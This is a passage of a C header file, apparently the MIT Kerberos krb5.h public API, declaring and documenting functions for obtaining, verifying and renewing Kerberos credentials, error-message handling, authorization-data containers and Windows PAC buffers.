[out] out_flags FAST flags * * @retval * 0 - Success; Kerberos errors otherwise. */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_get_fast_flags(krb5_context context, krb5_get_init_creds_opt *opt, krb5_flags *out_flags); /* Fast flags*/ #define KRB5_FAST_REQUIRED 0x0001 /**< Require KDC to support FAST*/ typedef void (KRB5_CALLCONV *krb5_expire_callback_func)(krb5_context context, void *data, krb5_timestamp password_expiration, krb5_timestamp account_expiration, krb5_boolean is_last_req); /** * Set an expiration callback in initial credential options. * * @param [in] context Library context * @param [in] opt Options structure * @param [in] cb Callback function * @param [in] data Callback argument * * Set a callback to receive password and account expiration times. * * @a cb will be invoked if and only if credentials are successfully acquired. * The callback will receive the @a context from the calling function and the * @a data argument supplied with this API. The remaining arguments should be * interpreted as follows: * * If @a is_last_req is true, then the KDC reply contained last-req entries * which unambiguously indicated the password expiration, account expiration, * or both. (If either value was not present, the corresponding argument will * be 0.) Furthermore, a non-zero @a password_expiration should be taken as a * suggestion from the KDC that a warning be displayed. * * If @a is_last_req is false, then @a account_expiration will be 0 and @a * password_expiration will contain the expiration time of either the password * or account, or 0 if no expiration time was indicated in the KDC reply. The * callback should independently decide whether to display a password * expiration warning. * * Note that @a cb may be invoked even if credentials are being acquired for * the kadmin/changepw service in order to change the password. It is the * caller's responsibility to avoid displaying a password expiry warning in * this case. * * @warning Setting an expire callback with this API will cause * krb5_get_init_creds_password() not to send password expiry warnings to the * prompter, as it ordinarily may. * * @version New in 1.9 */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_expire_callback(krb5_context context, krb5_get_init_creds_opt *opt, krb5_expire_callback_func cb, void *data); /** * Set the responder function in initial credential options. * * @param [in] context Library context * @param [in] opt Options structure * @param [in] responder Responder function * @param [in] data Responder data argument * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_set_responder(krb5_context context, krb5_get_init_creds_opt *opt, krb5_responder_fn responder, void *data); /** * Get initial credentials using a password. * * @param [in] context Library context * @param [out] creds New credentials * @param [in] client Client principal * @param [in] password Password (or NULL) * @param [in] prompter Prompter function * @param [in] data Prompter callback data * @param [in] start_time Time when ticket becomes valid (0 for now) * @param [in] in_tkt_service Service name of initial credentials (or NULL) * @param [in] k5_gic_options Initial credential options * * This function requests KDC for an initial credentials for @a client using @a * password. If @a password is NULL, a password will be prompted for using @a * prompter if necessary. If @a in_tkt_service is specified, it is parsed as a * principal name (with the realm ignored) and used as the service principal * for the request; otherwise the ticket-granting service is used. * * @sa krb5_verify_init_creds() * * @retval * 0 Success * @retval * EINVAL Invalid argument * @retval * KRB5_KDC_UNREACH Cannot contact any KDC for requested realm * @retval * KRB5_PREAUTH_FAILED Generic Pre-athentication failure * @retval * KRB5_LIBOS_PWDINTR Password read interrupted * @retval * KRB5_REALM_CANT_RESOLVE Cannot resolve network address for KDC in requested realm * @retval * KRB5KDC_ERR_KEY_EXP Password has expired * @retval * KRB5_LIBOS_BADPWDMATCH Password mismatch * @retval * KRB5_CHPW_PWDNULL New password cannot be zero length * @retval * KRB5_CHPW_FAIL Password change failed * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_password(krb5_context context, krb5_creds *creds, krb5_principal client, const char *password, krb5_prompter_fct prompter, void *data, krb5_deltat start_time, const char *in_tkt_service, krb5_get_init_creds_opt *k5_gic_options); /** * Retrieve enctype, salt and s2kparams from KDC * * @param [in] context Library context * @param [in] principal Principal whose information is requested * @param [in] opt Initial credential options * @param [out] enctype_out The enctype chosen by KDC * @param [out] salt_out Salt returned from KDC * @param [out] s2kparams_out String-to-key parameters returned from KDC * * Send an initial ticket request for @a principal and extract the encryption * type, salt type, and string-to-key parameters from the KDC response. If the * KDC provides no etype-info, set @a enctype_out to @c ENCTYPE_NULL and set @a * salt_out and @a s2kparams_out to empty. If the KDC etype-info provides no * salt, compute the default salt and place it in @a salt_out. If the KDC * etype-info provides no string-to-key parameters, set @a s2kparams_out to * empty. * * @a opt may be used to specify options which affect the initial request, such * as request encryption types or a FAST armor cache (see * krb5_get_init_creds_opt_set_etype_list() and * krb5_get_init_creds_opt_set_fast_ccache_name()). * * Use krb5_free_data_contents() to free @a salt_out and @a s2kparams_out when * they are no longer needed. * * @version New in 1.17 * * @retval 0 Success * @return A Kerberos error code */ krb5_error_code KRB5_CALLCONV krb5_get_etype_info(krb5_context context, krb5_principal principal, krb5_get_init_creds_opt *opt, krb5_enctype *enctype_out, krb5_data *salt_out, krb5_data *s2kparams_out); struct _krb5_init_creds_context; typedef struct _krb5_init_creds_context *krb5_init_creds_context; #define KRB5_INIT_CREDS_STEP_FLAG_CONTINUE 0x1 /**< More responses needed */ /** * Free an initial credentials context. * * @param [in] context Library context * @param [in] ctx Initial credentials context * * @a context must be the same as the one passed to krb5_init_creds_init() for * this initial credentials context. */ void KRB5_CALLCONV krb5_init_creds_free(krb5_context context, krb5_init_creds_context ctx); /** * Acquire credentials using an initial credentials context. * * @param [in] context Library context * @param [in] ctx Initial credentials context * * This function synchronously obtains credentials using a context created by * krb5_init_creds_init(). On successful return, the credentials can be * retrieved with krb5_init_creds_get_creds(). * * @a context must be the same as the one passed to krb5_init_creds_init() for * this initial credentials context. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_get(krb5_context context, krb5_init_creds_context ctx); /** * Retrieve acquired credentials from an initial credentials context. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [out] creds Acquired credentials * * This function copies the acquired initial credentials from @a ctx into @a * creds, after the successful completion of krb5_init_creds_get() or * krb5_init_creds_step(). Use krb5_free_cred_contents() to free @a creds when * it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_get_creds(krb5_context context, krb5_init_creds_context ctx, krb5_creds *creds); /** * Get the last error from KDC from an initial credentials context. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [out] error Error from KDC, or NULL if none was received * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_get_error(krb5_context context, krb5_init_creds_context ctx, krb5_error **error); /** * Create a context for acquiring initial credentials. * * @param [in] context Library context * @param [in] client Client principal to get initial creds for * @param [in] prompter Prompter callback * @param [in] data Prompter callback argument * @param [in] start_time Time when credentials become valid (0 for now) * @param [in] options Options structure (NULL for default) * @param [out] ctx New initial credentials context * * This function creates a new context for acquiring initial credentials. Use * krb5_init_creds_free() to free @a ctx when it is no longer needed. * * Any subsequent calls to krb5_init_creds_step(), krb5_init_creds_get(), or * krb5_init_creds_free() for this initial credentials context must use the * same @a context argument as the one passed to this function. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_init(krb5_context context, krb5_principal client, krb5_prompter_fct prompter, void *data, krb5_deltat start_time, krb5_get_init_creds_opt *options, krb5_init_creds_context *ctx); /** * Specify a keytab to use for acquiring initial credentials. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [in] keytab Key table handle * * This function supplies a keytab containing the client key for an initial * credentials request. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_set_keytab(krb5_context context, krb5_init_creds_context ctx, krb5_keytab keytab); /** * Get the next KDC request for acquiring initial credentials. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [in] in KDC response (empty on the first call) * @param [out] out Next KDC request * @param [out] realm Realm for next KDC request * @param [out] flags Output flags * * This function constructs the next KDC request in an initial credential * exchange, allowing the caller to control the transport of KDC requests and * replies. On the first call, @a in should be set to an empty buffer; on * subsequent calls, it should be set to the KDC's reply to the previous * request. * * If more requests are needed, @a flags will be set to * #KRB5_INIT_CREDS_STEP_FLAG_CONTINUE and the next request will be placed in * @a out. If no more requests are needed, @a flags will not contain * #KRB5_INIT_CREDS_STEP_FLAG_CONTINUE and @a out will be empty. * * If this function returns @c KRB5KRB_ERR_RESPONSE_TOO_BIG, the caller should * transmit the next request using TCP rather than UDP. If this function * returns any other error, the initial credential exchange has failed. * * @a context must be the same as the one passed to krb5_init_creds_init() for * this initial credentials context. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_step(krb5_context context, krb5_init_creds_context ctx, krb5_data *in, krb5_data *out, krb5_data *realm, unsigned int *flags); /** * Set a password for acquiring initial credentials. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [in] password Password * * This function supplies a password to be used to construct the client key for * an initial credentials request. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_set_password(krb5_context context, krb5_init_creds_context ctx, const char *password); /** * Specify a service principal for acquiring initial credentials. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [in] service Service principal string * * This function supplies a service principal string to acquire initial * credentials for instead of the default krbtgt service. @a service is parsed * as a principal name; any realm part is ignored. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_set_service(krb5_context context, krb5_init_creds_context ctx, const char *service); /** * Retrieve ticket times from an initial credentials context. * * @param [in] context Library context * @param [in] ctx Initial credentials context * @param [out] times Ticket times for acquired credentials * * The initial credentials context must have completed obtaining credentials * via either krb5_init_creds_get() or krb5_init_creds_step(). * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_creds_get_times(krb5_context context, krb5_init_creds_context ctx, krb5_ticket_times *times); struct _krb5_tkt_creds_context; typedef struct _krb5_tkt_creds_context *krb5_tkt_creds_context; /** * Create a context to get credentials from a KDC's Ticket Granting Service. * * @param[in] context Library context * @param[in] ccache Credential cache handle * @param[in] creds Input credentials * @param[in] options @ref KRB5_GC options for this request. * @param[out] ctx New TGS request context * * This function prepares to obtain credentials matching @a creds, either by * retrieving them from @a ccache or by making requests to ticket-granting * services beginning with a ticket-granting ticket for the client principal's * realm. * * The resulting TGS acquisition context can be used asynchronously with * krb5_tkt_creds_step() or synchronously with krb5_tkt_creds_get(). See also * krb5_get_credentials() for synchronous use. * * Use krb5_tkt_creds_free() to free @a ctx when it is no longer needed. * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_tkt_creds_init(krb5_context context, krb5_ccache ccache, krb5_creds *creds, krb5_flags options, krb5_tkt_creds_context *ctx); /** * Synchronously obtain credentials using a TGS request context. * * @param[in] context Library context * @param[in] ctx TGS request context * * This function synchronously obtains credentials using a context created by * krb5_tkt_creds_init(). On successful return, the credentials can be * retrieved with krb5_tkt_creds_get_creds(). * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_tkt_creds_get(krb5_context context, krb5_tkt_creds_context ctx); /** * Retrieve acquired credentials from a TGS request context. * * @param[in] context Library context * @param[in] ctx TGS request context * @param[out] creds Acquired credentials * * This function copies the acquired initial credentials from @a ctx into @a * creds, after the successful completion of krb5_tkt_creds_get() or * krb5_tkt_creds_step(). Use krb5_free_cred_contents() to free @a creds when * it is no longer needed. * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_tkt_creds_get_creds(krb5_context context, krb5_tkt_creds_context ctx, krb5_creds *creds); /** * Free a TGS request context. * * @param[in] context Library context * @param[in] ctx TGS request context * * @version New in 1.9 */ void KRB5_CALLCONV krb5_tkt_creds_free(krb5_context context, krb5_tkt_creds_context ctx); #define KRB5_TKT_CREDS_STEP_FLAG_CONTINUE 0x1 /**< More responses needed */ /** * Get the next KDC request in a TGS exchange. * * @param[in] context Library context * @param[in] ctx TGS request context * @param[in] in KDC response (empty on the first call) * @param[out] out Next KDC request * @param[out] realm Realm for next KDC request * @param[out] flags Output flags * * This function constructs the next KDC request for a TGS exchange, allowing * the caller to control the transport of KDC requests and replies. On the * first call, @a in should be set to an empty buffer; on subsequent calls, it * should be set to the KDC's reply to the previous request. * * If more requests are needed, @a flags will be set to * #KRB5_TKT_CREDS_STEP_FLAG_CONTINUE and the next request will be placed in @a * out. If no more requests are needed, @a flags will not contain * #KRB5_TKT_CREDS_STEP_FLAG_CONTINUE and @a out will be empty. * * If this function returns @c KRB5KRB_ERR_RESPONSE_TOO_BIG, the caller should * transmit the next request using TCP rather than UDP. If this function * returns any other error, the TGS exchange has failed. * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_tkt_creds_step(krb5_context context, krb5_tkt_creds_context ctx, krb5_data *in, krb5_data *out, krb5_data *realm, unsigned int *flags); /** * Retrieve ticket times from a TGS request context. * * @param[in] context Library context * @param[in] ctx TGS request context * @param[out] times Ticket times for acquired credentials * * The TGS request context must have completed obtaining credentials via either * krb5_tkt_creds_get() or krb5_tkt_creds_step(). * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_tkt_creds_get_times(krb5_context context, krb5_tkt_creds_context ctx, krb5_ticket_times *times); /** * Get initial credentials using a key table. * * @param [in] context Library context * @param [out] creds New credentials * @param [in] client Client principal * @param [in] arg_keytab Key table handle * @param [in] start_time Time when ticket becomes valid (0 for now) * @param [in] in_tkt_service Service name of initial credentials (or NULL) * @param [in] k5_gic_options Initial credential options * * This function requests KDC for an initial credentials for @a client using a * client key stored in @a arg_keytab. If @a in_tkt_service is specified, it * is parsed as a principal name (with the realm ignored) and used as the * service principal for the request; otherwise the ticket-granting service is * used. * * @sa krb5_verify_init_creds() * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_keytab(krb5_context context, krb5_creds *creds, krb5_principal client, krb5_keytab arg_keytab, krb5_deltat start_time, const char *in_tkt_service, krb5_get_init_creds_opt *k5_gic_options); typedef struct _krb5_verify_init_creds_opt { krb5_flags flags; int ap_req_nofail; /**< boolean */ } krb5_verify_init_creds_opt; #define KRB5_VERIFY_INIT_CREDS_OPT_AP_REQ_NOFAIL 0x0001 /** * Initialize a credential verification options structure. * * @param [in] k5_vic_options Verification options structure */ void KRB5_CALLCONV krb5_verify_init_creds_opt_init(krb5_verify_init_creds_opt *k5_vic_options); /** * Set whether credential verification is required. * * @param [in] k5_vic_options Verification options structure * @param [in] ap_req_nofail Whether to require successful verification * * This function determines how krb5_verify_init_creds() behaves if no keytab * information is available. If @a ap_req_nofail is @c FALSE, verification * will be skipped in this case and krb5_verify_init_creds() will return * successfully. If @a ap_req_nofail is @c TRUE, krb5_verify_init_creds() will * not return successfully unless verification can be performed. * * If this function is not used, the behavior of krb5_verify_init_creds() is * determined through configuration. */ void KRB5_CALLCONV krb5_verify_init_creds_opt_set_ap_req_nofail(krb5_verify_init_creds_opt * k5_vic_options, int ap_req_nofail); /** * Verify initial credentials against a keytab. * * @param [in] context Library context * @param [in] creds Initial credentials to be verified * @param [in] server Server principal (or NULL) * @param [in] keytab Key table (NULL to use default keytab) * @param [in] ccache Credential cache for fetched creds (or NULL) * @param [in] options Verification options (NULL for default options) * * This function attempts to verify that @a creds were obtained from a KDC with * knowledge of a key in @a keytab, or the default keytab if @a keytab is NULL. * If @a server is provided, the highest-kvno key entry for that principal name * is used to verify the credentials; otherwise, all unique "host" service * principals in the keytab are tried. * * If the specified keytab does not exist, or is empty, or cannot be read, or * does not contain an entry for @a server, then credential verification may be * skipped unless configuration demands that it succeed. The caller can * control this behavior by providing a verification options structure; see * krb5_verify_init_creds_opt_init() and * krb5_verify_init_creds_opt_set_ap_req_nofail(). * * If @a ccache is NULL, any additional credentials fetched during the * verification process will be destroyed. If @a ccache points to NULL, a * memory ccache will be created for the additional credentials and returned in * @a ccache. If @a ccache points to a valid credential cache handle, the * additional credentials will be stored in that cache. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_verify_init_creds(krb5_context context, krb5_creds *creds, krb5_principal server, krb5_keytab keytab, krb5_ccache *ccache, krb5_verify_init_creds_opt *options); /** * Get validated credentials from the KDC. * * @param [in] context Library context * @param [out] creds Validated credentials * @param [in] client Client principal name * @param [in] ccache Credential cache * @param [in] in_tkt_service Server principal string (or NULL) * * This function gets a validated credential using a postdated credential from * @a ccache. If @a in_tkt_service is specified, it is parsed (with the realm * part ignored) and used as the server principal of the credential; * otherwise, the ticket-granting service is used. * * If successful, the validated credential is placed in @a creds. * * @sa krb5_get_renewed_creds() * * @retval * 0 Success * @retval * KRB5_NO_2ND_TKT Request missing second ticket * @retval * KRB5_NO_TKT_SUPPLIED Request did not supply a ticket * @retval * KRB5_PRINC_NOMATCH Requested principal and ticket do not match * @retval * KRB5_KDCREP_MODIFIED KDC reply did not match expectations * @retval * KRB5_KDCREP_SKEW Clock skew too great in KDC reply * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_validated_creds(krb5_context context, krb5_creds *creds, krb5_principal client, krb5_ccache ccache, const char *in_tkt_service); /** * Get renewed credential from KDC using an existing credential. * * @param [in] context Library context * @param [out] creds Renewed credentials * @param [in] client Client principal name * @param [in] ccache Credential cache * @param [in] in_tkt_service Server principal string (or NULL) * * This function gets a renewed credential using an existing one from @a * ccache. If @a in_tkt_service is specified, it is parsed (with the realm * part ignored) and used as the server principal of the credential; otherwise, * the ticket-granting service is used. * * If successful, the renewed credential is placed in @a creds. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_renewed_creds(krb5_context context, krb5_creds *creds, krb5_principal client, krb5_ccache ccache, const char *in_tkt_service); /** * Decode an ASN.1-formatted ticket. * * @param [in] code ASN.1-formatted ticket * @param [out] rep Decoded ticket information * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_decode_ticket(const krb5_data *code, krb5_ticket **rep); /** * Retrieve a string value from the appdefaults section of krb5.conf. * * @param [in] context Library context * @param [in] appname Application name * @param [in] realm Realm name * @param [in] option Option to be checked * @param [in] default_value Default value to return if no match is found * @param [out] ret_value String value of @a option * * This function gets the application defaults for @a option based on the given * @a appname and/or @a realm. * * @sa krb5_appdefault_boolean() */ void KRB5_CALLCONV krb5_appdefault_string(krb5_context context, const char *appname, const krb5_data *realm, const char *option, const char *default_value, char ** ret_value); /** * Retrieve a boolean value from the appdefaults section of krb5.conf. * * @param [in] context Library context * @param [in] appname Application name * @param [in] realm Realm name * @param [in] option Option to be checked * @param [in] default_value Default value to return if no match is found * @param [out] ret_value Boolean value of @a option * * This function gets the application defaults for @a option based on the given * @a appname and/or @a realm. * * @sa krb5_appdefault_string() */ void KRB5_CALLCONV krb5_appdefault_boolean(krb5_context context, const char *appname, const krb5_data *realm, const char *option, int default_value, int *ret_value); /* * Prompter enhancements */ /** Prompt for password */ #define KRB5_PROMPT_TYPE_PASSWORD 0x1 /** Prompt for new password (during password change) */ #define KRB5_PROMPT_TYPE_NEW_PASSWORD 0x2 /** Prompt for new password again */ #define KRB5_PROMPT_TYPE_NEW_PASSWORD_AGAIN 0x3 /** Prompt for preauthentication data (such as an OTP value) */ #define KRB5_PROMPT_TYPE_PREAUTH 0x4 typedef krb5_int32 krb5_prompt_type; /** * Get prompt types array from a context. * * @param [in] context Library context * * @return * Pointer to an array of prompt types corresponding to the prompter's @a * prompts arguments. Each type has one of the following values: * @li #KRB5_PROMPT_TYPE_PASSWORD * @li #KRB5_PROMPT_TYPE_NEW_PASSWORD * @li #KRB5_PROMPT_TYPE_NEW_PASSWORD_AGAIN * @li #KRB5_PROMPT_TYPE_PREAUTH */ krb5_prompt_type* KRB5_CALLCONV krb5_get_prompt_types(krb5_context context); /* Error reporting */ /** * Set an extended error message for an error code. * * @param [in] ctx Library context * @param [in] code Error code * @param [in] fmt Error string for the error code * @param [in] ... printf(3) style parameters */ void KRB5_CALLCONV_C krb5_set_error_message(krb5_context ctx, krb5_error_code code, const char *fmt, ...) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 3, 4))) #endif ; /** * Set an extended error message for an error code using a va_list. * * @param [in] ctx Library context * @param [in] code Error code * @param [in] fmt Error string for the error code * @param [in] args List of vprintf(3) style arguments */ void KRB5_CALLCONV krb5_vset_error_message(krb5_context ctx, krb5_error_code code, const char *fmt, va_list args) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 3, 0))) #endif ; /** * Add a prefix to the message for an error code. * * @param [in] ctx Library context * @param [in] code Error code * @param [in] fmt Format string for error message prefix * @param [in] ... printf(3) style parameters * * Format a message and prepend it to the current message for @a code. The * prefix will be separated from the old message with a colon and space. */ void KRB5_CALLCONV_C krb5_prepend_error_message(krb5_context ctx, krb5_error_code code, const char *fmt, ...) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 3, 4))) #endif ; /** * Add a prefix to the message for an error code using a va_list. * * @param [in] ctx Library context * @param [in] code Error code * @param [in] fmt Format string for error message prefix * @param [in] args List of vprintf(3) style arguments * * This function is similar to krb5_prepend_error_message(), but uses a * va_list instead of variadic arguments. */ void KRB5_CALLCONV krb5_vprepend_error_message(krb5_context ctx, krb5_error_code code, const char *fmt, va_list args) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 3, 0))) #endif ; /** * Add a prefix to a different error code's message. * * @param [in] ctx Library context * @param [in] old_code Previous error code * @param [in] code Error code * @param [in] fmt Format string for error message prefix * @param [in] ... printf(3) style parameters * * Format a message and prepend it to the message for @a old_code. The prefix * will be separated from the old message with a colon and space. Set the * resulting message as the extended error message for @a code. */ void KRB5_CALLCONV_C krb5_wrap_error_message(krb5_context ctx, krb5_error_code old_code, krb5_error_code code, const char *fmt, ...) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 4, 5))) #endif ; /** * Add a prefix to a different error code's message using a va_list. * * @param [in] ctx Library context * @param [in] old_code Previous error code * @param [in] code Error code * @param [in] fmt Format string for error message prefix * @param [in] args List of vprintf(3) style arguments * * This function is similar to krb5_wrap_error_message(), but uses a * va_list instead of variadic arguments. */ void KRB5_CALLCONV krb5_vwrap_error_message(krb5_context ctx, krb5_error_code old_code, krb5_error_code code, const char *fmt, va_list args) #if !defined(__cplusplus) && (__GNUC__ > 2) __attribute__((__format__(__printf__, 4, 0))) #endif ; /** * Copy the most recent extended error message from one context to another. * * @param [in] dest_ctx Library context to copy message to * @param [in] src_ctx Library context with current message */ void KRB5_CALLCONV krb5_copy_error_message(krb5_context dest_ctx, krb5_context src_ctx); /** * Get the (possibly extended) error message for a code. * * @param [in] ctx Library context * @param [in] code Error code * * The behavior of krb5_get_error_message() is only defined the first time it * is called after a failed call to a krb5 function using the same context, and * only when the error code passed in is the same as that returned by the krb5 * function. * * This function never returns NULL, so its result may be used unconditionally * as a C string. * * The string returned by this function must be freed using * krb5_free_error_message() * * @note Future versions may return the same string for the second * and following calls. */ const char * KRB5_CALLCONV krb5_get_error_message(krb5_context ctx, krb5_error_code code); /** * Free an error message generated by krb5_get_error_message(). * * @param [in] ctx Library context * @param [in] msg Pointer to error message */ void KRB5_CALLCONV krb5_free_error_message(krb5_context ctx, const char *msg); /** * Clear the extended error message in a context. * * @param [in] ctx Library context * * This function unsets the extended error message in a context, to ensure that * it is not mistakenly applied to another occurrence of the same error code. */ void KRB5_CALLCONV krb5_clear_error_message(krb5_context ctx); /** * Unwrap authorization data. * * @param [in] context Library context * @param [in] type @ref KRB5_AUTHDATA type of @a container * @param [in] container Authorization data to be decoded * @param [out] authdata List of decoded authorization data * * @sa krb5_encode_authdata_container() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_decode_authdata_container(krb5_context context, krb5_authdatatype type, const krb5_authdata *container, krb5_authdata ***authdata); /** * Wrap authorization data in a container. * * @param [in] context Library context * @param [in] type @ref KRB5_AUTHDATA type of @a container * @param [in] authdata List of authorization data to be encoded * @param [out] container List of encoded authorization data * * The result is returned in @a container as a single-element list. * * @sa krb5_decode_authdata_container() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_encode_authdata_container(krb5_context context, krb5_authdatatype type, krb5_authdata * const*authdata, krb5_authdata ***container); /* * AD-KDCIssued */ /** * Encode and sign AD-KDCIssued authorization data. * * @param [in] context Library context * @param [in] key Session key * @param [in] issuer The name of the issuing principal * @param [in] authdata List of authorization data to be signed * @param [out] ad_kdcissued List containing AD-KDCIssued authdata * * This function wraps a list of authorization data entries @a authdata in an * AD-KDCIssued container (see RFC 4120 section 5.2.6.2) signed with @a key. * The result is returned in @a ad_kdcissued as a single-element list. */ krb5_error_code KRB5_CALLCONV krb5_make_authdata_kdc_issued(krb5_context context, const krb5_keyblock *key, krb5_const_principal issuer, krb5_authdata *const *authdata, krb5_authdata ***ad_kdcissued); /** * Unwrap and verify AD-KDCIssued authorization data. * * @param [in] context Library context * @param [in] key Session key * @param [in] ad_kdcissued AD-KDCIssued authorization data to be unwrapped * @param [out] issuer Name of issuing principal (or NULL) * @param [out] authdata Unwrapped list of authorization data * * This function unwraps an AD-KDCIssued authdatum (see RFC 4120 section * 5.2.6.2) and verifies its signature against @a key. The issuer field of the * authdatum element is returned in @a issuer, and the unwrapped list of * authdata is returned in @a authdata. */ krb5_error_code KRB5_CALLCONV krb5_verify_authdata_kdc_issued(krb5_context context, const krb5_keyblock *key, const krb5_authdata *ad_kdcissued, krb5_principal *issuer, krb5_authdata ***authdata); /* * Windows PAC */ /* Microsoft defined types of data */ #define KRB5_PAC_LOGON_INFO 1 /**< Logon information */ #define KRB5_PAC_CREDENTIALS_INFO 2 /**< Credentials information */ #define KRB5_PAC_SERVER_CHECKSUM 6 /**< Server checksum */ #define KRB5_PAC_PRIVSVR_CHECKSUM 7 /**< KDC checksum */ #define KRB5_PAC_CLIENT_INFO 10 /**< Client name and ticket info */ #define KRB5_PAC_DELEGATION_INFO 11 /**< Constrained delegation info */ #define KRB5_PAC_UPN_DNS_INFO 12 /**< User principal name and DNS info */ #define KRB5_PAC_CLIENT_CLAIMS 13 /**< Client claims information */ #define KRB5_PAC_DEVICE_INFO 14 /**< Device information */ #define KRB5_PAC_DEVICE_CLAIMS 15 /**< Device claims information */ #define KRB5_PAC_TICKET_CHECKSUM 16 /**< Ticket checksum */ #define KRB5_PAC_ATTRIBUTES_INFO 17 /**< PAC attributes */ #define KRB5_PAC_REQUESTOR 18 /**< PAC requestor SID */ #define KRB5_PAC_FULL_CHECKSUM 19 /**< KDC full checksum */ struct krb5_pac_data; /** PAC data structure to convey authorization information */ typedef struct krb5_pac_data *krb5_pac; /** * Add a buffer to a PAC handle. * * @param [in] context Library context * @param [in] pac PAC handle * @param [in] type Buffer type * @param [in] data contents * * This function adds a buffer of type @a type and contents @a data to @a pac * if there isn't already a buffer of this type present. * * The valid values of @a type is one of the following: * @li #KRB5_PAC_LOGON_INFO - Logon information * @li #KRB5_PAC_CREDENTIALS_INFO - Credentials information * @li #KRB5_PAC_SERVER_CHECKSUM - Server checksum * @li #KRB5_PAC_PRIVSVR_CHECKSUM - KDC checksum * @li #KRB5_PAC_CLIENT_INFO - Client name and ticket information * @li #KRB5_PAC_DELEGATION_INFO - Constrained delegation information * @li #KRB5_PAC_UPN_DNS_INFO - User principal name and DNS information * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_add_buffer(krb5_context context, krb5_pac pac, krb5_ui_4 type, const krb5_data *data); /** * Free a PAC handle. * * @param [in] context Library context * @param [in] pac PAC to be freed * * This function frees the contents of @a pac and the structure itself. */ void KRB5_CALLCONV krb5_pac_free(krb5_context context, krb5_pac pac); /** * Retrieve a buffer value from a PAC. * * @param [in] context Library context * @param [in] pac PAC handle * @param [in] type Type of buffer to retrieve * @param [out] data Buffer value * * Use krb5_free_data_contents() to free @a data when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_get_buffer(krb5_context context, krb5_pac pac, krb5_ui_4 type, krb5_data *data); /** * Return an array of buffer types in a PAC handle. * * @param [in] context Library context * @param [in] pac PAC handle * @param [out] len Number of entries in @a types * @param [out] types Array of buffer types * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_get_types(krb5_context context, krb5_pac pac, size_t *len, krb5_ui_4 **types); /** * Create an empty Privilege Attribute Certificate (PAC) handle. * * @param [in] context Library context * @param [out] pac New PAC handle * * Use krb5_pac_free() to free @a pac when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_init(krb5_context context, krb5_pac *pac); /** * Unparse an encoded PAC into a new handle. * * @param [in] context Library context * @param [in] ptr PAC buffer * @param [in] len Length of @a ptr * @param [out] pac PAC handle * * Use krb5_pac_free() to free @a pac when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_pac_parse(krb5_context context, const void *ptr, size_t len, krb5_pac *pac); /** * Verify a PAC. * * @param [in] context Library context * @param [in] pac PAC handle * @param [in] authtime Expected timestamp * @param [in] principal Expected principal name (or NULL) * @param [in] server Key to validate server checksum (or NULL) * @param [in] privsvr Key to validate KDC checksum (or NULL) * * This function validates @a pac against the supplied @a server, @a privsvr, * @a principal and @a authtime. If @a principal is NULL, the principal and * authtime are not verified. If @a server or @a privsvr is NULL, the * corresponding checksum is not verified. * * If successful, @a pac is marked as verified. * * @note A checksum mismatch can occur if the PAC was copied from a cross-realm * TGT by an ignorant KDC; also macOS Server Open Directory (as of 10.6) * generates PACs with no server checksum at all. One 